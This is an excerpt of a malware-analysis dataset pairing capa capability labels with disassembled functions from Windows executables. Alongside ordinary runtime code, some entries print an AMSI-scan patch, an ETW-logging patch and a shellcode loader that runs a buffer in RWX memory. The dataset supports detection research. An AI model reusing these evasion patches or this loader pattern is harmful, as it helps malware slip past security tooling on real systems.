joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5ef6e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x622dca
mov eax, dword fs:[0]
push eax
sub esp, 0x1dc
mov eax, dword [0x6887a0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x198], 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x54]
push eax
call fcn.004b61aa
add esp, 0xc
mov dword [ebp - 0x19c], eax
mov ecx, dword [ebp - 0x19c]
mov dword [ebp - 0x1a0], ecx
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x198]
or edx, 1
mov dword [ebp - 0x198], edx
mov eax, dword [ebp - 0x1a0]
push eax
lea ecx, [ebp - 0x68]
push ecx
call fcn.004b61aa
add esp, 0xc
mov dword [ebp - 0x1a4], eax
mov edx, dword [ebp - 0x1a4]
mov dword [ebp - 0x1a8], edx
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0x198]
or eax, 2
mov dword [ebp - 0x198], eax
mov ecx, dword [ebp - 0x1a8]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004b273f
add esp, 8
movzx eax, al
test eax, eax
jne 0x5ef7bf
push 0x1be
push 0x645318
push str.p___qqq
call dword [sym.imp.MSVCR80D.dll__wassert]
add esp, 0xc
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x198]
and edx, 2
je 0x5ef7e0
and dword [ebp - 0x198], 0xfffffffd
lea ecx, [ebp - 0x68]
call fcn.004b7a05
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x198]
and eax, 1
je 0x5ef801
and dword [ebp - 0x198], 0xfffffffe
lea ecx, [ebp - 0x54]
call fcn.004b7a05
push 1
lea ecx, [ebp - 0x7c]
call fcn.004ba502
mov dword [ebp - 4], 2
mov ecx, dword [ebp - 0x198]
or ecx, 4
mov dword [ebp - 0x198], ecx
push 0x8dfffffe
push ebp
test byte [edx - 0x75], dl
inc ebp
or al, 0x50
Function at 0x6036a0
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov dword [ebp - 8], ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x18]
call fcn.004b7122
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], 0
jmp 0x6036d6
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 8
jae 0x603852
push 4
mov edx, dword [ebp - 0xc]
push edx
call fcn.004bab9c
add esp, 8
mov ecx, dword [ebp - 0x10]
shl ecx, 2
mov edx, dword [ebp - 4]
xor eax, dword [edx + ecx*4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
and eax, 0x3f
mov ecx, dword [ebp - 0x14]
shr ecx, 8
and ecx, 0x3f
mov edx, dword [eax*4 + 0x6498f8]
xor edx, dword [ecx*4 + 0x6496f8]
mov eax, dword [ebp - 0x14]
shr eax, 0x10
and eax, 0x3f
xor edx, dword [eax*4 + 0x6494f8]
mov ecx, dword [ebp - 0x14]
shr ecx, 0x18
and ecx, 0x3f
xor edx, dword [ecx*4 + 0x6492f8]
xor edx, dword [ebp - 8]
mov dword [ebp - 8], edx
mov edx, dword [ebp - 0x10]
shl edx, 2
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
xor ecx, dword [eax + edx*4 + 4]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
and edx, 0x3f
mov eax, dword [ebp - 0x14]
shr eax, 8
and eax, 0x3f
mov ecx, dword [edx*4 + 0x6499f8]
xor ecx, dword [eax*4 + 0x6497f8]
mov edx, dword [ebp - 0x14]
shr edx, 0x10
and edx, 0x3f
xor ecx, dword [edx*4 + 0x6495f8]
mov eax, dword [ebp - 0x14]
shr eax, 0x18
and eax, 0x3f
xor ecx, dword [eax*4 + 0x6493f8]
xor ecx, dword [ebp - 8]
mov dword [ebp - 8], ecx
push 4
mov ecx, dword [ebp - 8]
push ecx
call fcn.004bab9c
add esp, 8
mov edx, dword [ebp - 0x10]
shl edx, 2
mov ecx, dword [ebp - 4]
xor eax, dword [ecx + edx*4 + 8]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x14]
and edx, 0x3f
mov eax, dword [ebp - 0x14]
shr eax, 8
and eax, 0x3f
mov ecx, dword [edx*4 + 0x6498f8]
xor ecx, dword [eax*4 + 0x6496f8]
mov edx, dword [ebp - 0x14]
shr edx, 0x10
and edx, 0x3f
xor ecx, dword [edx*4 + 0x6494f8]
mov eax, dword [ebp - 0x14]
shr eax, 0x18
and eax, 0x3f
xor ecx, dword [eax*4 + 0x6492f8]
xor ecx, dword [ebp - 0xc]
mov dword [ebp - 0xc], ecx
mov ecx, dword [ebp - 0x10]
shl ecx, 2
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
xor eax, dword [edx + ecx*4 + 0xc]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
and ecx, 0x3f
mov edx, dword [ebp - 0x14]
shr edx, 8
and edx, 0x3f
mov eax, dword [ecx*4 + 0x6499f8]
xor eax, dword [edx*4 + 0x6497f8]
mov ecx, dword [ebp - 0x14]
shr ecx, 0x10
and ecx, 0x3f
xor eax, dword [ecx*4 + 0x6495f8]
mov edx, dword [ebp - 0x14]
shr edx, 0x18
and edx, 0x3f
xor eax, dword [edx*4 + 0x6493f8]
xor eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0x6036cd
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0xc]
mov dword [edx], eax
mov esp, ebp
pop ebp
ret 8
Function at 0x4110e8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
dec dword [edi]
scasd eax, dword es:[edi]
lea esi, [edi + edi*8 - 1]
dec dword [ecx + 0x5d880c4d]
ror byte [eax + 0x45c6c15d], 0xc2
in al, dx
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.00410dfb
lcall 0xc045, 0x8df19c45
push eax
call fcn.00410e0b
push eax
push esi
push dword [ebp + 8]
call fcn.00410dc0
add esp, 0x10
mov dword [ebp - 0x88], eax
call fcn.00410dfb
test ebp, 0x458dba23
call 0x51296ef1
mov byte [ebp - 0x17], bl
mov byte [ebp - 0x16], 0x40
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0xe9
mov byte [ebp - 0x13], 0xd6
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.00410e0b
push eax
push esi
push dword [ebp + 8]
call fcn.00410dc0
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.00410e0b
push eax
push esi
push dword [ebp + 8]
call fcn.00410dc0
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.00410e0b
push eax
push esi
push dword [ebp + 8]
call fcn.00410dc0
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.00410dfb
xor byte [eax + 0x35], bh
int3
Function at 0x4019dc
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401a1b
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401a1b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401a1b
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401a1b
cmp dword [ecx + 0x74], 0xe
jbe 0x401a1b
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x40a4f3
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40a590
push ebx
push esi
call fcn.0040a4bc
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040a405
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40a53d
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40a58f
push edi
push eax
call fcn.004074b5
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40a55d
call fcn.0040747b
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40a58e
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040a405
add esp, 0x20
test eax, eax
jne 0x40a57c
push edi
call fcn.0040747b
jmp 0x40a584
push ebx
call fcn.0040747b
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x40b636
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x416238
push 0x416230
push str.FlsAlloc
push 0x1e
call fcn.0040b4f7
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40b66a
push dword [ebp + 8]
mov ecx, esi
call dword [0x41412c]
call esi
jmp 0x40b670
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40b6b4
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x416248
push 0x416240
push str.FlsGetValue
push 0x20
call fcn.0040b4f7
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40b6eb
push dword [ebp + 8]
mov ecx, esi
call dword [0x41412c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x412920
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41294d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41294d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x401000
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
mov ebx, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push esi
push edi
push str.color_05
call ebx
add esp, 4
push str.title_FPlay.SU_Laun4er
call ebx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
mov edx, 0x403154
call fcn.004010e0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.____________________________________________________n
call fcn.004010e0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._______Powered_By_OverF1X__https:__fplay.su_________n
call fcn.004010e0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.____________________________________________________n
call fcn.004010e0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.____________Loading...___Please_wait..._____________n
call fcn.004010e0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.____________________________________________________n
call fcn.004010e0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x403154
call fcn.004010e0
mov edi, dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
push 0
call edi
add esp, 4
add eax, 5
cdq
mov esi, eax
mov ebx, edx
nop dword [eax]
push 0
call edi
add esp, 4
cmp ebx, edx
jg 0x4010b0
jl 0x4010c1
cmp esi, eax
ja 0x4010b0
push str.START_BinariesWin64UDK.exe
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401bbf
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401bfe
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401bfe
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401bfe
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401bfe
cmp dword [ecx + 0x74], 0xe
jbe 0x401bfe
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x402d40
Capabilities:
Allocate or change rwx memory
Patch antimalware scan interface function

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, 0x40a59c
movsx eax, al
add eax, 0x40a598
push eax
call fcn.00402d1c
pop ecx
movzx eax, al
test eax, eax
je 0x402de5
mov eax, str.i.dll
movsx eax, al
add eax, 0x40a5a4
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 8], eax
push str.AmsiScanBuffer
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
lea eax, [ebp - 0xc]
push eax
push 0x40
push 5
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov byte [ebp - 0x14], 0xb8
mov byte [ebp - 0x13], 0x57
mov byte [ebp - 0x12], 0
mov byte [ebp - 0x11], 7
mov byte [ebp - 0x10], 0x80
mov byte [ebp - 0xf], 0xc3
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
mov dword [eax], ecx
mov cx, word [ebp - 0x10]
mov word [eax + 4], cx
push 0x4037ac
push str.AMSI_Patch_Applied
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.004034f8
pop ecx
pop ecx
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
leave
ret

Function at 0x402de7
Capabilities:
Allocate or change rwx memory
Patch event tracing for windows function

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40803d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x1c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
and dword [ebp - 4], 0
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x1c], eax
push str.EtwEventWrite
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 1
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x11], 0xc3
mov eax, dword [ebp - 0x18]
mov cl, byte [ebp - 0x11]
mov byte [eax], cl
push str.ETW_Patch_Applied
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.004034f8
pop ecx
pop ecx
mov dword [ebp - 0x20], eax
push 0x4037ac
mov ecx, dword [ebp - 0x20]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp 0x402eaa
or dword [ebp - 4], 0xffffffff
jmp 0x402eb4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40324e
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x40c4f8]
mov ecx, dword [eax*8 + 0x40c4d8]
mov eax, dword [eax*8 + 0x40c4dc]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
xor edx, edx
push 4
pop ecx
div ecx
mov eax, dword [ebp - 4]
sub eax, edx
mov dword [ebp - 8], eax
push dword [ebp - 8]
push dword [ebp - 0xc]
call fcn.00403167
pop ecx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 0x40
push dword [ebp - 0x14]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push str.Beacon
call fcn.0040104e
pop ecx
leave
ret

Function at 0x4033bc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
call fcn.00402de7
call fcn.00402d40
mov eax, dword [str.11111]
mov dword [ebp - 0x14], eax
mov ax, word [0x40a758]
mov word [ebp - 0x10], ax
push 0
lea ecx, [ebp - 0x1c]
call fcn.004013da
mov byte [ebp - 0x2c], 1
mov byte [ebp - 0x2b], 2
mov byte [ebp - 0x2a], 3
mov byte [ebp - 0x29], 9
mov byte [ebp - 0x28], 4
mov byte [ebp - 0x27], 5
mov byte [ebp - 0x26], 6
mov byte [ebp - 0x25], 7
mov byte [ebp - 0x24], 8
mov byte [ebp - 0x23], 9
mov byte [ebp - 0x22], 0xa
mov byte [ebp - 0x21], 0xb
mov byte [ebp - 0x20], 0xc
mov byte [ebp - 0x1f], 0xd
mov byte [ebp - 0x1e], 0xe
mov byte [ebp - 0x1d], 0xf
mov byte [ebp - 0x3c], 0x6c
mov byte [ebp - 0x3b], 0x69
mov byte [ebp - 0x3a], 0x75
mov byte [ebp - 0x39], 0x6c
mov byte [ebp - 0x38], 0x69
mov byte [ebp - 0x37], 0x40
mov byte [ebp - 0x36], 0x63
mov byte [ebp - 0x35], 0x6f
mov byte [ebp - 0x34], 0x6d
mov byte [ebp - 0x33], 0x23
mov byte [ebp - 0x32], 0x40
mov byte [ebp - 0x31], 0x6c
mov byte [ebp - 0x30], 0x69
mov byte [ebp - 0x2f], 0x75
mov byte [ebp - 0x2e], 0x6c
mov byte [ebp - 0x2d], 0x69
mov dword [ebp - 4], 5
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x1c]
call fcn.00401507
mov dword [ebp - 0xc], eax
call fcn.004032fc
push 0x40
push 0x1000
mov eax, dword [ebp - 4]
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_Virtua]
mov dword [ebp - 8], eax
push dword [ebp - 8]
push str.shellcode
call fcn.0040104e
pop ecx
pop ecx
push dword [ebp - 4]
push dword [ebp - 0xc]
push dword [ebp - 8]
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.00403347
pop ecx
pop ecx
call dword [ebp - 8]
xor eax, eax
leave
ret
Function at 0x403d50
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00404140
add esp, 0xc
mov dword [ebp - 4], 0
cmp dword [0x40c154], 0
jne 0x403d8d
cmp dword [0x40c150], 0
je 0x403d8d
mov eax, dword [0x40c150]
mov dword [0x40c154], eax
cmp dword [0x40c154], 0
je 0x403e0a
mov ecx, dword [0x40c154]
cmp dword [ecx + 8], 0
je 0x403e0a
mov edx, dword [0x40c154]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0x10]
jb 0x403e0a
mov ecx, dword [0x40c154]
mov edx, dword [ecx + 8]
cmp edx, dword [ebp - 0xc]
ja 0x403e0a
mov eax, dword [0x40c154]
mov ecx, dword [eax + 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x10]
jb 0x403dd9
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
jbe 0x403de0
xor eax, eax
jmp 0x403f29
mov ecx, dword [0x40c154]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x40]
mov dword [ecx + 8], eax
push 0x48
push 0xcc
mov ecx, dword [ebp - 4]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov eax, dword [ebp - 4]
jmp 0x403f29
mov edx, dword [0x40c150]
mov dword [0x40c154], edx
jmp 0x403e26
mov eax, dword [0x40c154]
mov ecx, dword [eax + 4]
mov dword [0x40c154], ecx
cmp dword [0x40c154], 0
je 0x403e66
cmp dword [0x40c154], 0
je 0x403e64
mov edx, dword [0x40c154]
cmp dword [edx + 8], 0
je 0x403e64
mov eax, dword [0x40c154]
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 0x10]
jb 0x403e64
mov edx, dword [0x40c154]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0xc]
ja 0x403e64
jmp 0x403dbe
jmp 0x403e18
mov ecx, dword [ebp + 8]
and ecx, 0xffff
mov edx, dword [ebp + 8]
sub edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00403f30
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x403f27
mov eax, dword [ebp - 0x18]
mov dword [0x40c154], eax
mov ecx, dword [0x40c154]
mov dword [ecx], 0x52727464
mov edx, dword [0x40c154]
mov dword [edx + 8], 0
mov eax, dword [0x40c154]
mov ecx, dword [0x40c150]
mov dword [eax + 4], ecx
mov edx, dword [0x40c154]
mov dword [0x40c150], edx
mov dword [ebp - 0x14], 0
mov eax, dword [0x40c154]
add eax, 0x48
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x38c
jmp 0x403ef7
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 1
jle 0x403f17
imul edx, dword [ebp - 8], 0x48
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
mov dword [eax + edx + 0x40], ecx
imul edx, dword [ebp - 8], 0x48
add edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
jmp 0x403eee
mov eax, dword [0x40c154]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 8], ecx
jmp 0x403dbe
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x404c70
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x40c150]
mov dword [ebp - 4], eax
jmp 0x404c89
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x404cb0
lea eax, [ebp - 8]
push eax
push 0x40
push 0x10000
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
jne 0x404cae
call sub.KERNEL32.dll_GetLastError
jmp 0x404cb2
jmp 0x404c80
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4052e0
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [0x40c160], eax
je 0x4052fd
mov eax, 0x10dd
jmp 0x4053e0
mov eax, dword [0x40c170]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40537c
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
movzx eax, byte [edx + 0x36]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
push edx
call sub.KERNEL32.dll_VirtualProtect
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
jne 0x405358
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x10], 0
je 0x405358
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
call fcn.004041d0
add esp, 4
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
push 0x18
mov edx, dword [ebp - 0xc]
push edx
call fcn.004072bb
add esp, 8
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
jmp 0x405305
mov dword [0x40c170], 0
call fcn.00404ab0
mov ecx, dword [0x40c16c]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x4053ca
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
push eax
call sub.KERNEL32.dll_ResumeThread
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
push 8
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.004072bb
add esp, 8
mov edx, dword [ebp - 0x18]
mov dword [ebp - 8], edx
jmp 0x405394
mov dword [0x40c16c], 0
mov dword [0x40c160], 0
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x4058c0
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x40c164], 0
je 0x4058d9
mov eax, dword [0x40c164]
jmp 0x405978
call sub.KERNEL32.dll_GetCurrentThread
cmp dword [ebp + 8], eax
jne 0x4058ea
xor eax, eax
jmp 0x405978
push 8
call fcn.0040728b
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x405942
mov dword [ebp - 8], 8
cmp dword [ebp - 4], 0
je 0x40592b
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
push 8
mov edx, dword [ebp - 0x10]
push edx
call fcn.004072bb
add esp, 8
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov dword [0x40c164], eax
mov dword [0x40c168], 0
mov eax, dword [ebp - 8]
jmp 0x405978
mov ecx, dword [ebp + 8]
push ecx
call sub.KERNEL32.dll_SuspendThread
cmp eax, 0xffffffff
jne 0x40595a
call sub.KERNEL32.dll_GetLastError
mov dword [ebp - 8], eax
jmp 0x40590a
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov dword [edx + 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [0x40c16c]
mov dword [ecx], edx
mov eax, dword [ebp - 4]
mov dword [0x40c16c], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 4